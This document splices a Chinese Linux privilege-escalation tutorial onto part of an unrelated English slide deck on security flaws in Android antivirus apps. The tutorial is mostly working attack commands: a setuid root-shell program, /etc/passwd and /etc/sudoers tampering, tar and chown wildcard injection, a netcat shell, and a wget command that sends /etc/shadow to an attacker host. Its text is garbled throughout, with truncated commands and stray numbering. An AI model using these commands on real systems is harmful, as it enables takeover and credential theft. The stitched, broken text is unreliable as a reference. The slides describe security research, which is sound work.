什么是NFS? 网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可 以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计 算机上一样。在 NFS 协议是几个分布式文件系统标准,网络附加存储 (NAS)之一。 NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机 制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文 件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编 码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码 和解码,支持在异构系统之间数据的传送。 什么是root_sqaush和no_root_sqaush? Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用 户具有root访问权限。远程根用户在连接时会分配一个用户 “ nfsnobody ”,它具有最少的本地特权。如果 no_root_squash 选项开 启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置 NFS驱动器时,系统管理员应始终使用“ root_squash ”参数。 注意:要利用此,no_root_squash 选项得开启。 利用NFS并获取Root Shell 现在,我们拿到了一个低权限的shell,我们查看“ / etc / exports ”文件。 / etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。 我们可以看到/ tmp 文件夹是可共享的,远程用户可以挂载它。还有不安全的参数 “ rw ”(读,写),“ sync ”和“ no_root_squash ” 同样我们也可以使用 showmount命令来查看。 这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构 [共享的目录] [主机名或IP(参数,参数)] 其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 sync,ro,root_ 当主机名或IP地址为空时,则代表共享给任意客户机提供服务。 当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样: [共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)] showmount命令用于查询NFS服务器的相关信息 1 2 3 4 5 6 1 这里不多说了 我们接下来在我们的攻击机上安装客户端工具 # showmount --help Usage: showmount [-adehv] [--all] [--directories] [--exports] [--no-headers] [--help] [--version] [host] -a或--all 以 host:dir 这样的格式来显示客户主机名和挂载点目录。 -d或--directories 仅显示被客户挂载的目录名。 -e或--exports 显示NFS服务器的输出清单。 -h或--help 显示帮助信息。 -v或--version 显示版本信。 --no-headers 禁止输出描述头部信息。 显示NFS客户端信息 # showmount 显示指定NFS服务器连接NFS客户端的信息 # showmount 192.168.1.1 #此ip为nfs服务器的 显示输出目录列表 # showmount -e 显示指定NFS服务器输出目录列表(也称为共享目录列表) # showmount -e 192.168.1.1 显示被挂载的共享目录 # showmount -d 显示客户端信息和共享目录 # showmount -a 显示指定NFS服务器的客户端信息和共享目录 # showmount -a 192.168.1.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、 rpcbind等12个软件包 然后输入命令 showmount -e [IP地址] 创建目录以挂载远程系统。 mkdir / tmp / test 在/tmp/test上装载Remote/tmp文件夹: mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test 然后在/tmp/test/中。新建一个c文件。 也可以 编译: sudo apt install nfs-common apt-get install cifs-utils #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { setuid(0); system("/bin/bash"); return 0; } echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel 1 2 1 2 3 4 5 1 1 赋权: chmod + s /tmp/test/suid-shell.c 好的,我们回到要提权的服务器上 可以看到是ROOT权限了 cd / tmp ./suid-shell 1 2 描述 SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文 件。例如,Linux ping命令通常需要root权限才能打开网络套接字。通过将ping程 序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权 执行ping。 SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位 上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。 当运行具有suid权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户 特权。它可以是root用户,也可以只是另一个用户。如果在程序中设置了suid,该位 可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权。 以下是一些可用于产生SHELL的程序: 查找suid和guid文件 nmap vim less more nano cp mv find 1 2 3 4 5 6 7 8 其他命令 命令 结果 find / -perm -4000 -type f 2>/dev/null 查找SUID文件 find / -uid 0 -perm -4000 -type f 2>/dev/null 查找root拥有的 SUID文件 find / -perm -2000 -type f 2>/dev/null 查 找 SGID 文 件 (粘性位) find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null 查找世界可写文 件,不包括proc 文件 find / -type f '(' -name *.cert -or -name *.crt -or -name *.pem -or -name *.ca -or -name *.p12 -or -name *.cer -name *.der ')' '(' '(' -user support -perm -u=r ')' -or '(' -group support -perm -g=r ')' -or '(' -perm -o=r ')' ')' 2> /dev/null-or -name *.cer -name *.der ')' 2> /dev/null 查找您可以阅读 的密钥或证书 Find SUID find / -perm -u=s -type f 2>/dev/null Find GUID find / -perm -g=s -type f 2>/dev/null 1 2 3 4 也可以使用 sudo -l 命令列出当前用户可执行的命令 常用提权方式 nmap 命令 结果 find /home –name *.rhosts -print 2>/dev/null 查找rhost配置文 件 find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ; 查 找 hosts.equiv,列 出权限并管理文 件内容 cat ~/.bash_history 显示当前用户历 史记录 ls -la ~/.*_history 向当前用户分发 各种历史文件 ls -la ~/.ssh/ 检查当前用户的 ssh文件 find /etc -maxdepth 1 -name '*.conf' -type f 要么 ls -la /etc/*.conf 在/ etc中列出配 置文件(深度1, 在第一个命令中 修 改 maxdepth 参数以对其进行 更改) lsof | grep '/home/\|/etc/\|/opt/' 显示可能有趣的 打开文件 1 find / -perm -u = s -type f 2> / dev / null –查找设置了SUID位的可执行文件 Nmap的SUID位置1。很多时候,管理员将SUID位设置为nmap,以便可以有效地扫 描网络,因为如果不使用root特权运行它,则所有的nmap扫描技术都将无法使用。 但是,nmap(2.02-5.21)存在交换模式,可利用提权,我们可以在此模式下以交 互方式运行nmap,从而可以转至shell。如果nmap设置了SUID位,它将以root特 权运行,我们可以通过其交互模式访问'root'shell。 msf中的模块为: ls -la / usr / local / bin / nmap –让我们确认nmap是否设置了SUID位。 nmap –interactive –运行nmap交互模式 !sh –我们可以从nmap shell转到系统shell 1 1 2 较新版可使用 --script 参数: find nc 反弹 shell: vi/vim Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权 限,因此可以读取系统上的所有文件。 打开vim,按下ESC 或者 exploit/unix/local/setuid_nmap echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/she touch test find test -exec netcat -lvp 5555 -e /bin/sh \; :set shell=/bin/sh :shell 1 1 1 1 1 2 bash 以下命令将以root身份打开一个bash shell。 less 程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。  more cp sudo vim -c '!sh' bash -p bash-3.2# id uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service) less /etc/passwd !/bin/sh more /home/pelle/myfile !/bin/bash 1 1 2 3 4 5 1 2 3 1 2 3 覆盖 /etc/shadow 或 /etc/passwd mv 覆盖 /etc/shadow 或 /etc/passwd nano [zabbix@localhost ~]$ cat /etc/passwd >passwd [zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123 $1$hack$WTn0dk2QjNeKfl.DHOUue0 [zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/ [zabbix@localhost ~]$ cp passwd /etc/passwd [zabbix@localhost ~]$ su - hack Password: [root@361way ~]# id uid=0(hack) gid=0(root) groups=0(root) [root@361way ~]# cat /etc/passwd|tail -1 hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash [zabbix@localhost ~]$ cat /etc/passwd >passwd [zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123 $1$hack$WTn0dk2QjNeKfl.DHOUue0 [zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/ [zabbix@localhost ~]$ mv passwd /etc/passwd [zabbix@localhost ~]$ su - hack Password: [root@361way ~]# id uid=0(hack) gid=0(root) groups=0(root) [root@361way ~]# cat /etc/passwd|tail -1 hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash nano /etc/passwd 1 2 3 4 5 6 7 8 9 10 11 1 2 3 4 5 6 7 8 9 10 11 1 awk man wget apache 仅可查看文件,不能弹 shell: tcpdump awk 'BEGIN {system("/bin/sh")}' man passwd !/bin/bash wget http://192.168.56.1:8080/passwd -O /etc/passwd apache2 -f /etc/shadow echo $'id\ncat /etc/shadow' > /tmp/.test chmod +x /tmp/.test sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root 1 1 2 1 1 1 2 3 python/perl/ruby/lua/php/etc python perl python -c "import os;os.system('/bin/bash')" exec "/bin/bash"; 1 1 在渗透中,我们拿到的webshell和反弹回来的shell权限可能都不高,如果我们可以使用sudo命令访问某些程序,则我们可以使用sudo可以 升级特权。在这里,我显示了一些二进制文件,这些文件可以帮助您使用sudo命令提升特权。但是在特权升级之前,让我们了解一些 sudoer文件语法,sudo命令是什么?;)。 1. 什么是SUDO? 2. Sudoer文件语法。 4. 利用SUDO用户 /usr/bin/find /usr/bin/nano /usr/bin/vim /usr/bin/man /usr/bin/awk /usr/bin/less /usr/bin/nmap ( –interactive and –script method) /bin/more /usr/bin/wget /usr/sbin/apache2 什么是SUDO ?? sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。 基础 它的特性主要有这样几点: § sudo能够限制用户只在某台主机上运行某些命令。 § sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。 § sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改 变)。 § sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。 在sudo于1980年前后被写出之前,一般用户管理系统的方式是利用su切换为超级用户。但是使用su的缺点之一在于必须要先告知超级用户的密码。 sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信 息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上 “sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内 (默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。 由于不需要超级用户的密码,部分Unix系统甚至利用sudo使一般用户取代超级用户作为管理帐号,例如Ubuntu、Mac OS X等。 参数说明: -V 显示版本编号 -h 会显示版本编号及指令的使用方式说明 -l 显示出自己(执行 sudo 的使用者)的权限 -v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码 -k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟) -b 将要执行的指令放在背景执行 -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称 -u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码) -s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell -H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root ) command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令 Sudoer文件 sudoers文件主要有三部分组成: sudoers的默认配置(default),主要设置sudo的一些缺省值 alias(别名),主要有Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias。 安全策略(规则定义)——重点。 语法 root ALL=(ALL) ALL 说明1:root用户可以从 ALL 终端作为 ALL (任意)用户执行,并运行 ALL (任意)命令。 第一部分是用户,第二部分是用户可以在其中使用 sudo 命令的终端,第三部分是他可以充当的用户,最后一部分是他在使用时可以运行的 命令。 sudo touhid ALL= /sbin/poweroff 说明2:以上命令,使用户可以从任何终端使用touhid的用户密码关闭命令电源。 touhid ALL = (root) NOPASSWD: /usr/bin/find 说明3:上面的命令,使用户可以从任何终端运行,以root用户身份运行命令find 而无需密码。 利用SUDO用户。 要利用sudo用户,您需要找到您必须允许的命令。 sudo -l 上面的命令显示了允许当前用户使用的命令。 此处sudo -l,显示用户已允许以root用户身份执行所有此二进制文件而无需密码。 让我们一一查看所有二进制文件(仅在索引中提到)和将特权提升给root用户。 使用查找命令 sudo find / etc / passwd -exec / bin / sh \; 要么 sudo find / bin -name nano -exec / bin / sh \; 使用Vim命令 sudo vim -c'!sh' 使用Nmap命令 sudo nmap-交互式 nmap>!sh sh-4.1# 注意:nmap –interactive选项在最新的nmap中不可用。 没有互动的最新方式 echo“ os.execute('/ bin / sh')”> /tmp/shell.nse && sudo nmap --script = / tmp / shell.nse 使用Man命令 sudo man man 之后按!按下并按Enter 使用更少/更多命令 sudo less / etc / hosts sudo more / etc / hosts 之后按!按下并按Enter 使用awk命令 sudo awk'BEGIN {system(“ / bin / sh”)}' 使用nano命令 nano是使用此编辑器的文本编辑器,在您需要切换用户之后,您可以修改passwd文件并将用户添加为root特权。在/ etc / passwd中添加 此行,以将用户添加为root特权。 touhid:$ 6 $ bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI / gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/ root:/ bin sudo nano / etc / passwd 现在切换用户密码是:test su touhid 使用wget命令 这种非常酷的方式要求Web服务器下载文件。这样我从没在任何地方见过。让我们解释一下。 在At客者一边。 首先将Target的/ etc / passwd文件复制到攻击者计算机。 修改文件,并在上一步中保存的密码文件中添加用户到攻击者计算机。 仅附加此行=> touhid:$ 6 $ bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI / gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0 / 0:b:root / root: 将passwd文件托管到使用任何Web服务器的主机。 在受害者方面。 sudo wget http://192.168.56.1:8080/passwd -O / etc / passwd 现在切换用户密码是:test su touhid 注意:如果您要从服务器上转储文件,例如root的ssh密钥,shadow文件等。 sudo wget --post-file = / etc / shadow 192.168.56.1:8080 攻击者的设置侦听器:nc – lvp 8080 使用apache命令 但是,我们无法获得Shell和Cant编辑系统文件。 但是使用它 我们可以查看系统文件。 sudo apache2 -f / etc / shadow 输出是这样的: Syntax error on line 1 of /etc/shadow: Invalid command 'root:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:17298:0 可悲的是没有shell。但是我们可以现在提取root哈希,然后在破解了哈希。 有“.” 在PATH中表示用户可以从当前目录执行二进制文件/脚本。但是一些管理员为了避 免每次都必须输入这两个额外的字符,他们在用户中添加“。”在他们的PATH中。对于攻 击者而言,这是提升其特权的绝佳方法。 放置.路径 如果在PATH中放置点,则无需编写./binary即可执行它。那么我们将能够执行当前目录 中的任何脚本或二进制文件。 假设小明是管理员,而她添加了“。” 在她的PATH上,这样她就不必再输入两个字符了去 执行脚本或二进制文件。 发生这种情况是因为Linux首先在“.”位置搜索程序。但是添加到PATH的开头后,就在其他 任何地方搜索。 带“。” 在路径中–program 不带“。” 在路径中-./program >另一个用户“小白”知道小明添加了“.” 在PATH中, > 小白告诉小明'ls'命令在他的目录中不起作用 > 小白在他的目录中添加代码,这将更改sudoers文件并使他成为管理员 > 小白将该代码存储在名为“ ls”并使其可执行 > 小明具有root特权。她来了,并在小白的主目录中执行了'ls'命令 >恶意代码不是通过原始的'ls'命令而是通过root访问来执行 >在另存为“ ls”的文件中,添加了一个代码,该代码将打印“ Hello world” $ PATH = .:$ {PATH} –添加'.' 在PATH变量中 1 2 1 2 3 4 5 6 7 1  $ ls –执行的./ls文件,而不是运行列表命令。 >现在,如果root用户以root特权执行代码,我们可以使用root特权实现任意代码执行。 1 2 3 如果未正确配置Cronjob,则可以利用该Cronjob获得root特权。 1. Cronjob中是否有可写的脚本或二进制文件? 2.我们可以覆盖cron文件本身吗? 3. cron.d目录可写吗? Cronjob通常以root特权运行。如果我们可以成功篡改cronjob中 定义的任何脚本或二进制文件,那么我们可以以root特权执行任意 代码。 什么是Cronjob? Cron Jobs被用于通过在服务器上的特定日期和时间执行命令来安排任务。它们最常用于 sysadmin任务,如备份或清理/tmp/目录等。Cron这个词来自crontab,它存在于/etc目 录中。  例如:在crontab内部,我们可以添加以下条目,以每1小时自动打印一次apache错误日 志。 前五个数字值表示执行cronjob的时间。现在让我们了解五个数字值。 分钟–第一个值表示介于0到59之间的分钟范围,而*表示任何分钟。 小时–第二个值表示小时范围在0到24之间,*表示任何小时。 月中的某天–第三个值表示月中的某日,范围是1到31,*表示任何一天。 月–第四个值表示1到12之间的月份范围,*表示任何月份。 星期几–第五个值表示从星期天开始的星期几,介于0到6之间,*表示星期几。 简而言之呢,crontab就是一个自定义定时器。 Cron特权升级概述 cron守护程序计划在指定的日期和时间运行命令。它与特定用户一起运行命令。因此,我们可以尝试 滥用它来实现特权升级。 滥用cron的一个好方法是, 1.检查cron运行的脚本的文件权限。如果权限设置不正确,则攻击者可能会覆盖文件并轻松获取cron 中设置的用户权限。 2.另一种方法是使用通配符技巧 Cron信息收集 一些基本命令收集一些线索,以使用错误配置的cron实现特权升级。 具有特权的运行脚本,其他用户可以编辑该脚本。 查找特权用户拥有但可写的任何内容: crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* 1 1 0 * * * printf “” > /var/log/apache/error_log 命令 结果 crontab -l 显示当前用户的cron ls -la /etc/cron* 显示计划的作业概述 cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root 查看其他用户的crontab $ crontab -u tstark -l 0 0 * * * / jarvis / reboot-arc-reactor 如果服务器上有很多用户,那么可以在cron日志中看到详细信息,可能包含用户名。 例如,在这里我可以看到运行数据库备份脚本的ubuntu用户: 8月5日4:05:01 dev01 CRON [2128]:(ubuntu)CMD(/var/cronitor/database-backup.sh) 使用pspy工具(32位为pspy32,64位为pspy64)。 下载链接:https : //github.com/DominicBreuker/pspy 利用配置错误的cronjob获得root访问权限 1 $ ls -la /etc/cron.d –输出cron.d中已经存在的cronjob 我们知道cron-lograte.sh是可写的,它由logrotate cronjob运行。 那么我们在cron-lograte.sh中编写/附加的任何命令都将以“ root”身份执行。 我们在/ tmp目录中编写一个C文件并进行编译。 rootme可执行文件将生成一个shell。 find / -perm -2 -type f 2> / dev / null –输出可写文件 ls -la /usr/local/sbin/cron-logrotate.sh –让我们确认cron-logrotate.sh是否可写。 $ ls -la rootme –它告诉我们它是由用户'SHayslett'拥有的 1 1 1 Cron脚本覆盖和符号链接 如果可以修改由root执行的cron脚本,则可以非常轻松地获取shell: $ echo“ chown root:root / tmp / rootme; chmod u + s /tmp/rootme;”>/usr/local $ ls -la rootme – 5分钟后,运行了logrotate cronjob,并以root特权执行了cron-logro $ ./rootme –生成一个root shell。 echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT> #Wait until it is executed 1 1 1 1 2  #等待执行 如果root用户执行的脚本使用具有完全访问权限的目录,则删除该文件夹并创建一个 符号链接文件夹到另一个服务于您控制的脚本的文件夹可能会很有用。 定时任务 可以监视进程以搜索每1,2或5分钟执行的进程。可以利用它并提升特权。 例如,要在1分钟内每隔0.1s监视一次,按执行次数较少的命令排序并删除一直执行 的命令,可以执行以下操作: 总结 由于Cron在执行时以root身份运行/etc/crontab,因此crontab调用的任何命令或脚本也将以root身 份运行。当Cron执行的脚本可由非特权用户编辑时,那些非特权用户可以通过编辑此脚本并等待 Cron以root特权执行该脚本来提升其特权! 例如,假设下面的行在中/etc/crontab。每天晚上9:30,Cron运行maintenance.shshell脚本。该 脚本在root特权下运行。 30 21 * * * root /path/to/maintenance.sh /tmp/bash -p / tmp / bash -p ln -d -s < / PATH / TO / POINT > < / PATH / CREATE / FOLDER > for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; 3 1 1 1 现在让我们说该maintenance.sh脚本还可以由所有人编辑,而不仅仅是root用户。在这种情况下, 任何人都可以将命令添加到maintenance.sh,并使该命令由root用户执行! 这使得特权升级变得微不足道。例如,攻击者可以通过将自己添加为Sudoer来向自己授予超级用户特 权。 echo "vickie ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers 或者,他们可以通过将新的root用户添加到“ / etc / passwd”文件来获得root访问权限。由于“ 0”是root用户的UID,因此添加UID为“ 0”的用户将为该用户提供root特权。该用户的用户名为“ vickie”,密码为空: echo "vickie::0:0:System Administrator:/root/root:/bin/bash" >> /etc/passwd 等等。 通配符是代表其他字符的符号。您可以将它们与任何命令(例如cat或rm命令)一 起使用,以列出或删除符合给定条件的文件。还有其他一些,但是现在对我们很重 要的一个是*字符,它可以匹配任意数量的字符。 例如: cat * 显示当前目录中所有文件的内容 rm * 删除当前目录中的所有文件 它的工作原理是将*角色扩展到所有匹配的文件。如果我们有文件a,b并且c在当前 目录中并运行rm *,则结果为rm a b c。 原理 众所周知,我们可以在命令行中将标志传递给程序以指示其应如何运行。例如,如 果我们使用rm -rf而不是,rm那么它将递归并强制删除文件,而无需进一步提 示。 现在,如果我们运行rm *并在当前目录中有一个名为name的文件,将会发生什么- rf?*的Shell扩展将导致命令变为,rm -rf a b c并且-rf将被解释为命令参数。 当特权用户或脚本在具有潜在危险标志的命令中使用通配符时,尤其是与外部命令 执行相关的通配符,这是一个坏消息。在这些情况下,我们可能会使用它来升级特 权。 chown和chmod chown和chmod都可以用相同的方式利用,因此我只看看chown。 Chown是一个程序,可让您更改指定文件的所有者。以下示例将some-file.txt的所 有者更改为some-user: chown some-user some-file.txt Chown具有一个--reference=some-reference-file标志,该标志指定文件的所 有者应与参考文件的所有者相同。一个例子应该有帮助: chown some-user some-file.txt --reference=some-reference-file 假设的所有者some-reference-file是another-user。在这种情况下,所有者 some-file.txt将another-user代替some-user。 利用 假设我们有一个名为弱势程序的脆弱程序,其中包含以下内容: cd some-directory chown root * 在这种情况下,让我们创建一个我们拥有的文件: cd some-directory touch reference 然后我们创建一个文件,将注入标记: touch -- --reference=reference 如果在同一目录中创建到/ etc / passwd的符号链接,则/ etc / passwd的所有者 也将是您,这将使您获得root shell。 其他 TAR Tar是一个程序,可让您将文件收集到存档中。 在tar中,有“检查点”标志,这些标志使您可以在归档指定数量的文件后执行操作。 由于我们可以使用通配符注入来注入那些标志,因此我们可以使用检查点来执行我 们选择的命令。如果tar以root用户身份运行,则命令也将以root用户身份运行。 鉴于存在此漏洞,获得root用户特权的一种简单方法是使自己成为sudoer。sudoer 是可以承担root特权的用户。这些用户在/etc/sudoers文件中指定。只需在该文 件上追加一行,我们就可以使自己变得更轻松。 利用 假设我们有一个易受攻击的程序,并且使用cron定期运行该程序。该程序包含以下 内容: cd important-directory tar cf /var/backups/backup.tar * 进行根访问的步骤如下: 1)注入一个标志来指定我们的检查点 首先,我们将指定在归档一个文件之后,有一个检查点。稍后我们将对该检查点执 行操作,但是现在我们仅告诉tar它存在。 让我们创建一个将注入标记的文件: cd important-directory touch -- --checkpoint=1 2)编写恶意的Shell脚本 Shell脚本将/etc/sudoers在其后追加代码,这会使您变得更加无礼。 您需要添加到的行/etc/sudoers是my-user ALL=(root) NOPASSWD: ALL。 让我们创建shell脚本: echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > demo.sh Shell脚本应与通配符位于同一目录中。 请注意,我们将必须更改my-user为要成为sudoer的实际用户。 3)注入一个指定检查点动作的标志 现在,我们将指定,当tar到达在步骤#1中指定的检查点时,它应运行在步骤#2中 创建的shell脚本: touch -- "--checkpoint-action=exec=sh demo.sh" 4)root 等待,直到cron执行了脚本并通过键入以下内容获得root特权: sudo su rsync Rsync是“快速,通用,远程(和本地)文件复制工具”,在linux系统上非常常见。 与rsync一起使用的一些有趣的标志是: -e, --rsh=COMMAND specify the remote shell to use --rsync-path=PROGRAM specify the rsync to run on remote machine 我们可以使用该-e标志来运行所需的任何Shell脚本。让我们创建一个shell脚本,它 将我们添加到sudoers文件中: echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > shell.sh 现在让我们注入将运行我们的shell脚本的标志: touch -- "-e sh shell.sh"
pdf
How to do it Wrong: Smartphone Antivirus and Security Applications Under Fire Stephan Huber, Siegfried Rasthofer, Steven Arzt, Michael Tröger, Andreas Wittmann, Philipp Roskosch, Daniel Magin 1 2 Who are we Siegfried Stephan • Mobile Security Researcher at Fraunhofer SIT • Enjoys teaching students in Android Hacking • 4th year PhD Student at TU Darmstadt / Fraunhofer SIT • Enjoys drinking bavarian beer • @teamsik 3 Mobile Banking Security 4 Malware Detection Engine Spam Protection Secure Browsing Device Configuration Advisor Privacy Advisor Premium Features 5 6 App GooglePlay Downloads “Pseudo“ AV Apps AndroHelm 1-5 Mio Malwarebytes 5-10 Mio ESET 5-10 Mio Avira 10-50 Mio Kaspersky 10-50 Mio McAfee 10-50 Mio CM Security 100-500 Mio 7 #Challenges Premium Upgrade for Free? Misuse Lost-Device Feature (Ransomware)? Remotely Influence Scan Engine Behavior? Remote Code Execution? Premium Upgrade for Free? (1/2 Examples) AndroHelm 8 9 Free Premium the Simple Way 10 Let‘s Have a Look at the Free App … this.toast("Thank you for upgrading to PRO!"); //shared pref value set to true this.prefs.putBoolean("isPro", true); … Interesting code snippet: <?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <int name="dialogShowTimes" value="1" /> <boolean name="hasDatabase" value="true" /> <string name="lastFragment"></string> </map> SharedPreferences at first install: <boolean name="isPro" value="true" /> key/value pair for xml file 11 Changing XML File Without Root adb backup com.androhelm.antivirus.free2 restore com.androhelm.antivirus.free2 debug bridge tar -xvf mybackup.tar nano com.androhelm.antivirus.free.preferences.xml * *"h$ps://github.com/nelenkov/android:backup:extractor" Premium Upgrade for Free? (2/2 Examples) ESET 12 13 ESET License Verification SSL/TLS Protection https - request containing credentials / license info There are known vulnerabilities for SSL/TLS, but is there an easier way? ? ESET Security App ESET Backend 14 One"requirement"for"secure"communica?on"is"the"verifica?on"" of"the"SSL"cer?ficate!" final class jl implements X509TrustManager { … public void checkServerTrusted(X509Certificate[] cert, String s) throws CertificateException { } //end of the method }// end of the class //please insert verification here BROKEN! 15 ESET License Verification ESET Security App ESET Backend SSL/TLS Protection ? <NODE NAME="LicenseUsername" VALUE="Fdax6a7wj/I+ZEet" TYPE="STRING"/> Base64"decoded"VALUE in"HEX: 15 d6 b1 e9 ae f0 8f f2 3e 64 47 ad <NODE NAME="LicensePassword" VALUE="Fdax6a7wj/I=" TYPE="STRING"/> Base64"decoded"VALUE in"HEX: 15 d6 b1 e9 ae f0 8f f2 WTF? 16 Let’s do some Crypto Analysis Classic chosen plaintext attack Plaintext) Cipher)(base64)) Cipher)(hexbyte)) a" ANY=" 0x0 0xd6 aa" ANa16Q==" 0x0 0xd6 0xb5 0xe9 aaaa" ANa16bzwmvI=" 0x0 0xd6 0xb5 0xe9 0xbc 0xf0 0x9a 0xf2 b" A9Y=" 0x3 0xd6 bbbb" A9a26b/wmfI=" 0x3 0xd6 0xb6 0xe9 0xbf 0xf0 0x99 0xf2 abc" ANa26b7w" 0x0 0xd6 0xb6 0xe9 0xbe 0xf0 cccc" Ata36b7wmPI=" 0x2 0xd6 0xb7 0xe9 0xbe 0xf0 0x98 0xf2 dddd" Bdaw6bnwn/I=" 0x5 0xd6 0xb0 0xe9 0xb9 0xf0 0x9f 0xf2 eeee" BNax6bjwnvI=" 0x4 0xd6 0xb1 0xe9 0xb8 0xf0 0x9e 0xf2 17 Plaintext) Cipher)(base64)) Cipher)(hexbyte)) a" ANY=" 0x0 aa" ANa16Q==" 0x0 0xb5 aaaa" ANa16bzwmvI=" 0x0 0xb5 0xbc 0x9a b" A9Y=" 0x3 bbbb" A9a26b/wmfI=" 0x3 0xb6 0xbf 0x99 abc" ANa26b7w" 0x0 0xb6 0xbe cccc" Ata36b7wmPI=" 0x2 0xb7 0xbe 0x98 dddd" Bdaw6bnwn/I=" 0x5 0xb0 0xb9 0x9f eeee" BNax6bjwnvI=" 0x4 0xb1 0xb8 0x9e Let’s do some Crypto Analysis Classic chosen plaintext attack 18 Let’s do some Crypto Analysis Clean up: Plaintext) Cipher)(base64)) Cipher)(hexbyte)) aaaa" ANa16bzwmvI=" 0x0 0xb5 0xbc 0x9a bbbb" A9a26b/wmfI=" 0x3 0xb6 0xbf 0x99 cccc" Ata36b7wmPI=" 0x2 0xb7 0xbe 0x98 abc" ANa26b7w" 0x0 0xb6 0xbe dddd" Bdaw6bnwn/I=" 0x5 0xb0 0xb9 0x9f eeee" BNax6bjwnvI=" 0x4 0xb1 0xb8 0x9e • 2nd byte is not required • No chaining • Looks like a simple substitution 19 Here Comes the Key Le#er% Decimal% Hex% 1.%Cipher% a" 97" 0x61" 0x0" b" 98" 